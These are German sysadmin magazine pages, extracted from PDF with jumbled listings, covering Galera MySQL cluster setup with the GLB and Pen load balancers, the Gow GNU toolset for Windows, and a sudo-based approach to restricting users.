Anschließend die my.cnf von Knoten<br />
node1 wie folgt anpassen:<br />
node1: gcomm://192.168.56.103<br />
Listing 5: Fehlermeldungen<br />
01 sh: /sbin/ifconfig: Permission denied<br />
E<br />
02 120405 8:29:02 [ERROR] WSREP: Failed to read output of: '/sbin/ifconfig | grep<br />
03 ‐m1 ‐1 ‐E '^[a‐z]?eth[0‐9]' | tail ‐n 1 | awk '{ print $2 }' | awk ‐F : '{ print<br />
04 $2 }''<br />
05 ...<br />
06 120405 8:29:02 [ERROR] WSREP: Permission denied<br />
07 120405 8:29:02 [ERROR] WSREP: failed to open gcomm backend connection: 13:<br />
08 error while trying to listen 'tcp://0.0.0.0:4567?socket.non_blocking=1', asio<br />
09 error 'Permission denied': 13 (Permission denied)<br />
10 at gcomm/src/asio_tcp.cpp:listen():750<br />
11 120405 8:29:02 [ERROR] WSREP: gcs/src/gcs_core.c:gcs_core_open():195: Failed to<br />
12 open backend connection: ‐13 (Permission denied)<br />
13 120405 8:29:02 [ERROR] WSREP: gcs/src/gcs.c:gcs_open():1284: Failed to open<br />
14 channel 'Galera‐2.0 wsrep‐23.4' at 'gcomm://': ‐13 (Permission denied)<br />
15 120405 8:29:02 [ERROR] WSREP: gcs connect failed: Permission denied<br />
16 120405 8:29:02 [ERROR] WSREP: wsrep::connect() failed: 6<br />
17 120405 8:29:02 [ERROR] Aborting<br />
18 <br />
19 120405 8:29:02 [Note] WSREP: Service disconnected.<br />
20 120405 8:29:03 [Note] WSREP: Some threads may fail to exit.<br />
Listing 6: Erfolgreicher Start<br />
01 mysql> SHOW GLOBAL STATUS LIKE 'wsrep%';<br />
02 <br />
01 #<br />
Listing 4: Galera-Parameter<br />
02 # WSREP (Galera) Parameter<br />
03 #<br />
04 <br />
05 #wsrep_provider = none<br />
03 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />
04 | Variable_name | Value |<br />
05 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />
06 | wsrep_local_state | 4 |<br />
07 | wsrep_local_state_comment | Synced (6) |<br />
08 | wsrep_cluster_conf_id | 1 |<br />
09 | wsrep_cluster_size | 1 |<br />
10 | wsrep_cluster_status | Primary |<br />
11 | wsrep_connected | ON |<br />
12 | wsrep_local_index | 0 |<br />
13 | wsrep_ready | ON |<br />
14 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />
06 wsrep_provider = /usr/lib64/galera/<br />
libgalera_smm.so<br />
07 wsrep_cluster_name = "Galera‐2.0 wsrep‐23.4"<br />
08 wsrep_node_name = "Node 1"<br />
09 wsrep_node_address = 192.168.56.101<br />
10 wsrep_node_incoming_address = 10.0.2.1<br />
11 <br />
12 #wsrep_cluster_address = "gcomm://192.168.56.103"<br />
13 wsrep_cluster_address = "gcomm://"<br />
14 <br />
15 #<br />
16 # WSREP State Snapshot Transfer Parameter<br />
17 #<br />
18 <br />
19 wsrep_sst_method = mysqldump<br />
20 wsrep_sst_auth = sst:secret<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
91
Know-how<br />
Galera Cluster<br />
Jetzt kann jeder Knoten beliebig gestoppt<br />
und wieder gestartet werden. Nur, wenn<br />
man den Cluster neu initialisieren wollte,<br />
müsste man den ersten Knoten wieder<br />
mit »gcomm://« starten.<br />
Die Parametern »wsrep_sst_method« und<br />
»wsrep_sst_auth« teilen dem Galera Cluster<br />
mit, welche Methode er für den SST<br />
verwenden soll und welcher Benutzer mit<br />
welchem Password dafür infrage kommt.<br />
Wenn mehr als ein Interface verwendet<br />
wird, sollte »wsrep_sst_receive_address«<br />
auf dasjenige Interface verweisen, auf<br />
dem der SST empfangen (und gesendet)<br />
werden soll. Andernfalls könnte es passieren,<br />
dass Galera das falsche Interface<br />
Listing 7: Cluster läuft<br />
01 mysql> SHOW GLOBAL STATUS LIKE 'wsrep_cluster_%';<br />
02 <br />
03 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />
04 | Variable_name | Value |<br />
05 +‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />
06 | wsrep_cluster_conf_id | 3 |<br />
07 | wsrep_cluster_size | 3 |<br />
08 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+<br />
Listing 8: Start des Loadbalancers<br />
01 ./glbd ‐‐daemon ‐‐threads 6 ‐‐control<br />
127.0.0.1:4444 127.0.0.1:3306 192.168.56.101:3306:1<br />
192.168.56.102:3306:1 192.168.56.103:3306:1<br />
02 Incoming address: 127.0.0.1:3306 , control<br />
FIFO: /tmp/glbd.fifo<br />
03 Control address: 127.0.0.1:4444<br />
04 Number of threads: 6, source tracking: OFF, verbose:<br />
OFF, daemon: YES<br />
05 Destinations: 3<br />
06 0: 192.168.56.101:3306 , w: 1.000<br />
07 1: 192.168.56.102:3306 , w: 1.000<br />
08 2: 192.168.56.103:3306 , w: 1.000<br />
Listing 9: Abfrage des Loadbalancers<br />
01 echo getinfo | nc ‐q 1 127.0.0.1 4444<br />
02 Router:<br />
03 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />
04 Address : weight usage conns<br />
05 192.168.56.101:3306 : 1.000 0.667 2<br />
06 192.168.56.102:3306 : 1.000 0.500 1<br />
07 192.168.56.103:3306 : 1.000 0.500 1<br />
08 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />
09 Destinations: 3, total connections: 4<br />
10 <br />
11 und<br />
12 <br />
13 echo getstats | nc ‐q 1 127.0.0.1 4444<br />
14 in: 37349 out: 52598 recv: 89947 / 1989 send: 89947<br />
/ 1768<br />
15 conns: 225 / 4 poll: 1989 / 0 / 1989 elapsed:<br />
76.59987<br />
„errät“ und der SST aus diesem Grunde<br />
fehlschlägt. Jetzt kann es endlich losgehen:<br />
Nachdem alle drei Knoten gestoppt<br />
sind, aktiviert man »wsrep_provider« in<br />
allen drei »my.cnf«- Dateien und startet<br />
den ersten Knoten:<br />
/etc/init.d/mysql start<br />
Zur Sicherheit sollte man das MySQL<br />
Error-Log unter »/var/lib/mysql/node1.<br />
err« auf mögliche Probleme prüfen.<br />
Wenn Fehlermeldungen wie in Listing 5<br />
auftauchen, liegt das daran, dass SELinux<br />
eingeschaltet ist. Das sollte man besser<br />
ausschalten. Temporär durch:<br />
echo 0 >/selinux/enforce<br />
und permanent in der Datei /etc/selinux/<br />
config:<br />
SELINUX=permissive<br />
Ist der Galera-Knoten erfolgreich gestartet,<br />
dann sieht man Ausgaben wie in Listing<br />
6. Der Knoten ist connected, ready<br />
und synced. Die Cluster-Größe ist zurzeit<br />
1 und die lokale ID (Index) 0. Jetzt kann<br />
man den zweiten Knoten starten. Für<br />
eine kurze Zeit erscheint der Knoten 1 im<br />
Status „Donor“:<br />
| wsrep_local_state_comment | Donor (+) |<br />
Dies bedeutet, dass er auserwählt wurde,<br />
im Zuge des SST dem Knoten 2 die Daten<br />
zu übermitteln. Nach erfolgreichem<br />
Start des zweiten Knoten lässt sich der<br />
dritte Knoten starten. Sind alle Knoten<br />
erfolgreich gestartet, sehen die Status-<br />
Informationen wie in Listing 7 aus:<br />
Anschließend darf nicht vergessen werden,<br />
auf dem ersten Knoten die Zeilen<br />
App App App<br />
LB<br />
Node 1<br />
wsrep<br />
LB<br />
Node 2 Node 3<br />
wsrep<br />
Galera replication<br />
LB<br />
wsrep<br />
mit der »wsrep_cluster_address« auszutauschen:<br />
# wsrep_cluster_address = U<br />
"gcomm://192.168.56.103"<br />
# wsrep_cluster_address = "gcomm://"<br />
Sonst findet der Knoten »node1« bei<br />
Neustart den Cluster nicht und versucht,<br />
einen neuen eigenen Cluster zu bilden.<br />
Anschließend lassen sich alle Knoten beliebig<br />
starten und stoppen.<br />
Mit Loadbalancer<br />
Aus Datenbank-Backend-Sicht existiert<br />
jetzt zwar ein hoch verfügbarer Datenbankcluster,<br />
aus Applikationssicht sieht<br />
das Ganze aber noch anders aus. Angenommen<br />
die Applikation verbindet<br />
sich <strong>gegen</strong> den Knoten 2 und dieser<br />
stirbt, dann muss sich die Applikation<br />
automatisch wieder mit einem anderen<br />
Knoten des Clusters konnektieren. Dies<br />
bewerkstelligt man am besten mit einem<br />
Loadbalancer. Dafür gibt es verschiedene<br />
Möglichkeiten:<br />
n Man kann den Load-Balancing-Mechanismus<br />
in die Applikation direkt<br />
einbauen.<br />
n Bei Java- oder PHP-Applikationen lässt<br />
sich die Failover-Funktionalität des<br />
entsprechenden Connectors nutzen<br />
(Connector/J [4], mysqlnd-ms [3]).<br />
n Wenn man die Applikation nicht beeinflussen<br />
kann oder will, lässt sich<br />
alternativ ein Loadbalancer vorschalten.<br />
Das ist in Form eines Hardware-<br />
Loadbalancers, eines Software-Loadbalancers<br />
(wie zum Beispiel Pen [6],<br />
GLB [7], HAProxy [9], LVS [8], und<br />
App App App<br />
Node 1<br />
wsrep<br />
Load balancing (LB)<br />
Node 2 Node 3<br />
wsrep<br />
Galera replication<br />
Abbildung 2: Grundsätzlich gibt es zwei Möglichkeiten, den Loadbalancer zu platzieren: auf dem<br />
Applikationsserver oder auf einem eigenen <strong>Server</strong>.<br />
wsrep<br />
92 Ausgabe 04-2012 Admin www.admin-magazin.de
Galera Cluster<br />
Know-how<br />
so weiter) oder mit MySQL-Proxy [5]<br />
lösbar.<br />
Grundsätzlich gibt es zwei Möglichkeiten,<br />
einen Loadbalancer zu platzieren:<br />
Zusammen mit der Applikation (auf dem<br />
Applikationsserver) oder bei größeren<br />
Setups zentral auf einem eigenen <strong>Server</strong><br />
(Abbildung 2).<br />
Muss man eine große Anzahl von Applikationen<br />
oder <strong>Server</strong>n verwalten, empfiehlt<br />
es sich, den zentralen Ansatz zu<br />
verfolgen. Handelt es sich aber nur um<br />
wenige Applikationen, ist der Aufwand<br />
für eine Installation, bei der sich Loadbalancer<br />
und Applikation auf derselben<br />
Maschine befinden, geringer und benötigt<br />
weniger Hardware.<br />
Galera Loadbalancer<br />
Exemplarisch soll der Galera Loadbalancer<br />
(GLB) vorgestellt werden. Er lässt<br />
sich wie folgt installieren:<br />
wget http://www.codership.com/filesU<br />
/glb/glb‐0.7.4.tar.gz<br />
tar xf glb‐0.7.4.tar.gz<br />
cd glb‐0.7.4<br />
./configure<br />
make<br />
make install<br />
Gestartet wird er so, wie in Listing 8.<br />
Abgefragt wird der Loadbalancer so, wie<br />
es Listing 9 zeigt.<br />
Angenommen, der Knoten 192.168.56.101<br />
soll für Wartungsarbeiten aus dem Load-<br />
Infos<br />
[1] Codership Website: [http:// codership. com/<br />
downloads/ download‐mysqlgalera]<br />
[2] MySQL Download: [http:// dev. mysql. com/<br />
downloads/ mysql/ # downloads]<br />
[3] Mysqlnd Replication and Load Balancing<br />
Plugin: [http:// php. net/ manual/ en/ book.<br />
mysqlnd‐ms. php]<br />
[4] MySQL Connector/J: [http:// dev. mysql.<br />
com/ doc/ refman/ 5. 5/ en/ connector‐j‐refer<br />
ence‐configuration‐properties. html]<br />
[5] MySQL Proxy: [http:// forge. mysql. com/<br />
wiki/ MySQL_Proxy]<br />
[6] Pen: [http:// siag. nu/ pen/]<br />
[7] GLB: [http:// www. codership. com/ en/<br />
downloads/ glb]<br />
[8] LVS: [http:// www. linuxvirtualserver. org/]<br />
[9] HAProxy: [http:// haproxy. 1wt. eu/]<br />
[10] VRRP: [http:// sourceforge. net/ projects/<br />
vrrpd]<br />
balancer entnommen werden, dann<br />
wären die Schritte nötig, die Listing 10<br />
zeigt.<br />
Das Hinzufügen und Entfernen eines<br />
Knotens bewerkstelligen die beiden folgenden<br />
Befehle:<br />
echo 192.168.56.103:3306:‐1 | nc ‐q 1 U<br />
127.0.0.1 4444<br />
echo 192.168.56.103:3306:2 | nc ‐q 1 U<br />
127.0.0.1 4444<br />
Beim Ausprobieren des Galera Loadbalancers<br />
traten noch Ecken und Kanten<br />
zutage, die der Autor den Entwicklern<br />
meldete. Ihre Bereinigung soll in das<br />
nächste Release einfließen.<br />
PEN<br />
Aufgrund der beim GLB aufgetretenen<br />
Probleme sah sich der Autor auch noch<br />
den TCP-Loadbalancer PEN an. Seine<br />
Installation verläuft wie in Listing 11 gezeigt.<br />
Abfragen lässt sich der PEN Loadbalancer<br />
so, wie es Listing 12 zeigt. Pen kann<br />
seinen Status als HTML-Datei ablegen,<br />
die man mit einem Browser betrachten<br />
oder in seine Überwachungs-Infrastruktur<br />
einbinden kann.<br />
./penctl localhost:4444 status > U<br />
/tmp/pen.html<br />
Neue <strong>Server</strong> kann man derzeit nicht<br />
im laufenden Betrieb hinzufügen. Der<br />
Entwickler von Pen empfiehlt in einem<br />
solchen Fall, einige <strong>Server</strong> auf Vorrat anzulegen<br />
und diese bei Gelegenheit zu<br />
aktivieren. Dazu muss Pen sauber gestoppt<br />
werden:<br />
kill ‐TERM `cat pen.pid`<br />
Fällt ein Backend-<strong>Server</strong> oder der Galera-<br />
Knoten ganz aus, stellt Pen dies fest und<br />
leitet den Traffic entsprechend um. Ist ein<br />
Galera-Knoten aber gerade dabei, einen<br />
SST durchzuführen und daher für die<br />
Applikation nicht nutzbar, oder sollen<br />
Listing 12: Abfrage des PEN-Loadbalancers<br />
01 ./penctl localhost:4444 mode<br />
am entsprechenden Knoten Unterhaltsarbeiten<br />
durchgeführt werden, empfiehlt es<br />
sich, ihn in Pen zu deaktivieren, indem er<br />
für eine bestimmte Zeit auf eine Blacklist<br />
gesetzt wird:<br />
./penctl localhost:4444 server 0 U<br />
blacklist 7200<br />
Fazit<br />
Am Ende läuft nun ein durchgängig<br />
hochverfügbarer Galera Cluster. Wird<br />
der Loadbalancer nicht direkt vor die<br />
Applikation geschaltet, sollte er gegebenenfalls<br />
noch hochverfügbar ausgelegt<br />
werden. Dies kann beispielsweise mit<br />
dem »vrrpd« [10] oder anderen gängigen<br />
Cluster-Lösungen erreicht werden.<br />
Natürlich lässt sich anstelle von PEN jeder<br />
beliebige andere Loadbalancer verwenden.<br />
(jcb)<br />
n<br />
02 no block no delayed_forward no hash roundrobin no stubborn weight no prio<br />
03 <br />
04 ./penctl localhost:4444 servers<br />
Listing 11: Installation und Start des PEN<br />
01 wget http://siag.nu/pub/pen/pen‐0.18.0.tar.gz<br />
02 tar xf /download/pen‐0.18.0.tar.gz<br />
03 cd pen‐0.18.0/<br />
04 ./configure<br />
05 make<br />
06 make install<br />
05 0 addr 192.168.56.101 port 3306 conn 1 max 100 hard 0 weight 0 prio 0 sx 1245356 rx 1753808<br />
06 1 addr 192.168.56.102 port 3306 conn 1 max 100 hard 0 weight 0 prio 0 sx 1245525 rx 1754046<br />
07 2 addr 192.168.56.103 port 3306 conn 1 max 100 hard 0 weight 0 prio 0 sx 1245525 rx 1754046<br />
07 <br />
08 Start mit:<br />
09 <br />
Listing 10: Entfernen eines Knotens<br />
01 echo 192.168.56.101:3306:0 | nc ‐q 1 127.0.0.1 4444<br />
02 echo getinfo | nc ‐q 1 127.0.0.1 4444<br />
03 Router:<br />
04 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />
05 Address : weight usage conns<br />
06 192.168.56.101:3306 : 0.000 1.000 0<br />
07 192.168.56.102:3306 : 1.000 0.667 2<br />
08 192.168.56.103:3306 : 1.000 0.667 2<br />
09 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />
10 Destinations: 3, total connections: 4<br />
10 ./pen ‐r ‐p pen.pid ‐C localhost:4444 ‐S 3 \<br />
11 localhost:3306 192.168.56.101:3306:100 \<br />
12 192.168.56.102:3306:100 192.168.56.103:3306:100<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
93
Basics<br />
Gow<br />
© Markus Gann, 123RF<br />
GNU-Tools unter Windows<br />
In Harmonie<br />
Viele Admins sind für heterogene IT-Landschaften verantwortlich. Wer<br />
auch unter Windows die geliebte Bash und GNU-Werkzeuge verwenden<br />
will, kann entweder die Cygwin-Kompatibilitätsschicht installieren oder<br />
einmal die schlankere Alternative Gow ausprobieren. Thomas Drilling<br />
Was administrative Tätigkeiten angeht,<br />
gehören die Bash und die GNU-Tools für<br />
viele Administratoren zu den unverzichtbaren<br />
Standard-Werkzeugen für Routine-<br />
Aufgaben. Die von Brian Fox 1987 entwickelte<br />
Unix/Linux-Kommando-Shell<br />
Bash gehört seit mehr als 20 Jahren unbestreitbar<br />
zu den leistungsfähigsten und<br />
beliebtesten Vertretern ihrer Zunft und<br />
erschließt Admins Unix-artiger Betriebssysteme<br />
jeglicher Couleur den Zugang<br />
zur Systemebene und zwar nicht nur<br />
aufgrund der eingebauten Befehle und<br />
Kommandos. Durch die Möglichkeit der<br />
Programmierung mit Shellskripten lassen<br />
sich ständig wiederkehrende Kommandos<br />
auf elegante Weise zusammenfassen oder<br />
Programme schreiben, die auch komplexe<br />
und intelligente Aufgaben erledigen.<br />
Neben „internen“ Bash-Kommandos erlauben<br />
die Kontrollstrukturen der Bash<br />
auch das Aufrufen einschlägiger GNU-<br />
Tools, die in der Regel den Löwenanteil<br />
aufwendiger Bash-Skripte ausmachen. So<br />
ist die Möglichkeit, Bash und GNU-Tools<br />
auch zur Steuerung und Administration<br />
von Windows-Rechern einsetzen zu können,<br />
in mehrfacher Hinsicht interessant.<br />
Zum einen ist die Bash, allein aufgrund<br />
der internen Befehle und Kontrollstrukturen<br />
ungleich mächtiger als eine einfache<br />
Windows-„Eingabeaufforderung“, schon<br />
was einfache Dateisystemoperationen<br />
angeht. Erst langsam hält mit der Powershell<br />
ein vergleichbar leistungsfähiges<br />
Werkzeug in der Windows-Welt Einzug.<br />
GNU auf Windows<br />
Tools wie Gow erschließen auch unter<br />
Windows den Zugang zu einer Vielzahl<br />
leistungsfähiger GNU-Tools, darunter<br />
Klassiker zur Textmanipulation, leistungsfähige<br />
Dateisystem-Tools sowie die<br />
wichtigsten SSH-Tools. Ganz nebenbei<br />
ermöglicht es das Gow-Tool auch Anwendern,<br />
die einen Umstieg von Windows<br />
auf Linux erwägen, sich vorab unter Windows<br />
mit der Unix-Verzeichnisstruktur<br />
und der Bash-Kommandozeile vertraut<br />
zu machen, ohne dazu einen Emulator<br />
oder eine virtuelle Maschine installieren<br />
zu müssen.<br />
Gow statt Cygwin<br />
Das von Brent Matzelle entwickelte, auf<br />
Github gehostete Gow [1] (GNU on Windows)<br />
ist als kompakte Alternative zu<br />
Cygwin konzipiert. Gow ist freie Software,<br />
unterliegt der MIT-Lizenz. Cygwin<br />
da<strong>gegen</strong> ist eine Kompatibilitäts-Schicht,<br />
die unter Windows substanzielle Linux-<br />
API-Aufrufe zur Verfügung stellt. Wer<br />
Cygwin nicht kennt, findet im Kasten<br />
„Alternativen“ eine kurze Zusammenfassung.<br />
Gow bringt ähnlich wie Cygwin<br />
derzeit 138 Unix-Tools auf den Windows-<br />
Desktop, ist aber mit seinen knapp 10<br />
MByte deutlich kompakter als der 100<br />
MByte-Brocken Cygwin und lässt sich<br />
auch deutlich einfacher installieren.<br />
Gow stellt neben der Shell/Shell-Skripting-Funktionalität<br />
(Bash und ZSH) GNU-<br />
Tools aus den Bereichen Text-Manipulation<br />
(»grep«, »agrep«, »less«, »cat«, »tail«,<br />
»head«), Dateiverwaltung (»mv«, »cp«,<br />
»du«, »ls«, »pwd«, »rmdir«, »whereis«),<br />
Download/Upload (Curl, Wget, NcFTP),<br />
94 Ausgabe 04-2012 Admin www.admin-magazin.de
Gow<br />
Basics<br />
Abbildung 2: Diese Tools und Kommandos stellt Gow zur Verfügung.<br />
Abbildung 1: Unix auf Windows im Handumdrehen: Gow lässt sich ebenso einfach<br />
installieren wie jedes x-beliebige Windows-Tool.<br />
SSH (»putty«, »psftp«, »pscp«, »pageant«,<br />
»plink«), Kompression (»gzip«, »zip«,<br />
»bzip2«, »compress«) und Entwicklung<br />
(»make«, »diff«, »diff3«, »sleep«, »cvs«,<br />
»dos2unix«, »unix2dos«) sowie den beliebten<br />
und leistungsfähigen Editor »vim«,<br />
zur Verfügung. Zur Installation muss der<br />
Admin lediglich die 6 MByte kleine Installationsdatei<br />
der momentan aktuellen<br />
Version 0.5.0 herunterladen [2], doppelklicken<br />
und die Lizenzbestimmungen<br />
akzeptieren (Abbildung 1).<br />
Minimal oder optimal<br />
Im Folgeschritt des Installationsassistenten<br />
hat der Admin die Wahl zwischen<br />
einer Default- und einer Minimal-Installation.<br />
Letztere enthält nur die Core-<br />
Komponenten.<br />
Nach Auswahl des Installationsverzeichnisses<br />
im Folgeschritt schaufelt der<br />
Alternativen<br />
n Mobaxterm: Das im Heft 03/12 [3] vorgestellte<br />
Tool „MobaXterm“ [4] ist ein portabler<br />
X-<strong>Server</strong> für Windows, der im Kern<br />
ebenfalls auf der Cygwin-Kompatibilitätsschicht<br />
aufsetzt und mit „Cygwin/X“ auch<br />
eine Portierung des X.Org-<strong>Server</strong>s auf die<br />
Cygwin-Umgebung mitbringt.<br />
n Cygwin: Dreh- und Angelpunkt der Cygwin-<br />
Kompatibilitätsschicht ist die DLL »cygwin1.<br />
dll«, die wichtige Unix-API-Aufrufe unter<br />
Windows implementiert. So lassen sich<br />
mithilfe von Cygwin Programme für POSIX-<br />
Assistent die zugehörigen<br />
Binärdateien<br />
auf die Festplatte<br />
und passt<br />
freundlicherweise<br />
die Windows-<br />
PATH-Variable an,<br />
sodass sämtliche<br />
Tools über die<br />
Standard-Kommandozeile erreichbar<br />
sind.<br />
Das gilt auch für die Linux-Shell (Bash)<br />
zu deren Start der Admin lediglich in<br />
der Windows-Shell „cmd“ »Bash« eingibt.<br />
Das funktioniert allerdings erst nach<br />
einem Neustart des Windows-Rechners<br />
und vollzieht sich völlig unspektakulär<br />
direkt im cmd-Fenster, das quasi nur sein<br />
PROMP-Erscheinungsbild ändert, sofern<br />
der Admin im Installer die Default-Konfiguration<br />
gewählt hat.<br />
Beim ersten Start ist es allerdings<br />
erforderlich mit »mkdir /tmp« ein<br />
temporäres Verzeichnis anzulegen,<br />
was bereits mit dem Unix-Kommando<br />
»mkdir« erfolgt. Ist das erfolgt, stehen<br />
die meisten erwähnten Bash-Befehle zur<br />
Verfügung. Eine Übersicht aller übrigen<br />
verfügbaren Unix-Kommandos liefert<br />
»gow.bat ‐l« (Abbildung 2). Sämtliche<br />
für Gow portierten Unix-Tools befinden<br />
Systeme wie Unix, Linux oder BSD nach<br />
Windows portieren. Mit Cygwin übersetzte<br />
Posix-Programme laufen dann unter nahezu<br />
allen Windows-Versionen, seit Cygwin-Version<br />
1.7 auch unter Windows 7 und Windows<br />
<strong>Server</strong> 2008.<br />
n GNU Utilities for Win32: Sie stellen die wichtigsten<br />
GNU-Tools unter Windows zur Verfügung,<br />
wobei sich jedes einzelne in Form<br />
einer Exe-Datei mit einem Klick von der<br />
Sourceforge-Projektseite [4] herunterladen<br />
und installieren lässt.<br />
sich im Unterverzeichnis »bin« des bei<br />
der Installation angegeben Pfades. Tools,<br />
die über eine eigene Benutzerschnittstelle<br />
verfügen, wie »putty« oder »ncp« lassen<br />
sich dann auch per Doppelklick starten.<br />
Fazit<br />
Gow ermöglicht es wie das bekannte Cygwin,<br />
die Bash sowie zahlreiche GNU-<br />
Tools unter Windows zu verwenden. Im<br />
Vergleich ist Gow aber viel kompakter,<br />
einfach zu installieren und wird zudem<br />
aktiv gepflegt, was unter anderem auch<br />
die enthaltenen Programme mit Updates<br />
versorgt.<br />
Abgesehen von Make fehlen aber die Entwicklungs-Tools<br />
wie der GNU-Compiler,<br />
auf die der Anwender dann doch auf<br />
Cygwin zurückgreifen muss. (ofr) n<br />
Infos<br />
[1] GoW auf Github:<br />
[https:// github. com/ bmatzelle/ gow]<br />
[2] GoW Download: [https:// github. com/<br />
bmatzelle/ gow/ downloads]<br />
[3] Thomas Drilling. Mobaxterm, <strong>ADMIN</strong> 03/<br />
2012: [http:// www. admin‐magazin. de/<br />
Das‐Heft/ 2012/ 03/ Mobaxterm‐bringt‐Linux<br />
‐Feeling‐auf‐den‐Windows‐Desktop]<br />
[4] GNU Utilities for Win32: [http:// gnuwin32.<br />
sourceforge. net/ packages. html]<br />
Der Autor<br />
Thomas Drilling ist seit mehr als zehn Jahren<br />
hauptberuflich als freier Journalist und Redakteur<br />
für Wissenschafts- und IT-<strong>Magazin</strong>e tätig. Er<br />
selbst und das Team seines Redaktionsbüros verfassen<br />
regelmäßig Beiträge zu den Themen Open<br />
Source, Linux, <strong>Server</strong>, IT-Administration und Mac<br />
OSX. Außerdem arbeitet Thomas Drilling als Buchautor<br />
und Verleger, berät als IT-Consultant kleine<br />
und mittlere Unternehmen und hält Vorträge zu<br />
Linux, Open Source und IT-Sicherheit.<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
95
Basics<br />
User Restrictions<br />
© lightwise, 123RF<br />
Benutzer vor Abwegen im System bewahren<br />
Benutzer<br />
gut geführt<br />
Normal konfigurierte Desktops verwirren manche Anwender oder erlauben<br />
die Nutzung beliebiger Programme. Auch abseits der grafischen Benutzeroberfläche<br />
entlastet ein geführter Benutzer den EDV-Betreuer und<br />
sorgt für höhere Produktivität. Harald Zisler<br />
Typischerweise sollen Anwender auf<br />
Firmen-Desktops nicht alles machen<br />
können, was ihnen gerade einfällt. Dem<br />
schiebt normalerweise das gewohnte<br />
Unix-Rechtesystem einen Riegel vor. Der<br />
Zugriff auf Anwendungen kann aber für<br />
jeden Benutzer auch abseits der Gruppenzugehörigkeit<br />
im Dateisystem geregelt<br />
werden. Die Wartung und Pflege der<br />
Programme bleibt mit den hier im Artikel<br />
gezeigten Maßnahmen für den Systembetreuer<br />
im üblichen Rahmen. Betriebliche<br />
Gegebenheiten lassen sich in der<br />
IT abbilden.<br />
Eines oder mehrere der genannten Szenarien<br />
sprechen für die Einschränkung des<br />
Programmzugriffs:<br />
n Personen ohne grundlegende EDV-<br />
Kenntnisse sollen einzelne Aufgaben<br />
am Rechner übernehmen.<br />
n Rechner mit sensiblen Anwendungen<br />
und Daten werden dadurch abgesichert,<br />
dass den Benutzern nur die nötigsten<br />
Programme auf den Desktop<br />
angeboten werden. Gegebenenfalls<br />
wird sogar der Shellzugriff entzogen,<br />
damit die Nutzung auf die angebotenen<br />
Programme beschränkt bleibt.<br />
n Einrichtung von Spezialbenutzern mit<br />
einer oder wenigen Aufgaben.<br />
n Datenschutz: Jeder Mitarbeiter kann<br />
nur die Programme benutzen, die er je<br />
nach seiner Rolle im Betrieb benötigt.<br />
n Vermeidung des Einschleppens eigener<br />
Programme (Spiele, Multimedia<br />
…..) auf die betriebliche EDV-Anlage.<br />
Einen besonderen Anwendungsfall des<br />
„geführten“ Benutzers stellt das Absetzen<br />
eines einzigen Kommandos dar.<br />
Befindet sich beispielsweise in einem<br />
Filialbetrieb kein Systembetreuer, kann<br />
trotzdem jemand vom örtlichen Personal<br />
einen Linuxserver nach Aufforderung herunterfahren<br />
(Benutzer »aus« ) oder neu<br />
starten. Die übliche Tastenkombination<br />
[Strg]+[Alt]+[Entf] wurde im Beispiel<br />
deaktiviert.<br />
Für dieses Beispiel muss das Paket »sudo«<br />
installiert werden. Der Benutzer »aus«<br />
wird vom Administrator Root angelegt<br />
und bekommt anschließend einen Eintrag<br />
in der Datei »/etc/sudoers«. Hierzu<br />
sollte man unbedingt das Programm<br />
»visudo« benutzen, das die Syntax der<br />
Datei überprüft. Andernfalls sperrt man<br />
sich bei Syntaxfehlern leicht aus dem<br />
System aus, wenn man keinen extra Root-<br />
Account besitzt.<br />
Der Benutzer »aus« soll von jedem Rechner<br />
aus dem lokalen Netzwerk den <strong>Server</strong><br />
herunterfahren können. Damit nach Eingabe<br />
des Benutzerpasswortes der Anwender<br />
keine Chance hat, in den Genuss des<br />
Shellzugriffes zu kommen, wird auf die<br />
Eingabe des Kennwortes für den sudo-<br />
Zugriff verzichtet. Der Eintrag in »/etc/<br />
sudoers« lautet deshalb:<br />
aus ALL =<br />
NOPASSWD: /sbin/init<br />
Bei Debian und Derivaten davon liegen<br />
im Home-Verzeichnis der Benutzer die<br />
Dateien ».bashrc« und ».profile« sowie<br />
».bash_logout«. Darin eingetragene Befehle<br />
werden in der Reihenfolge abgearbeitet,<br />
».bash_logout« erst beim Abmelden<br />
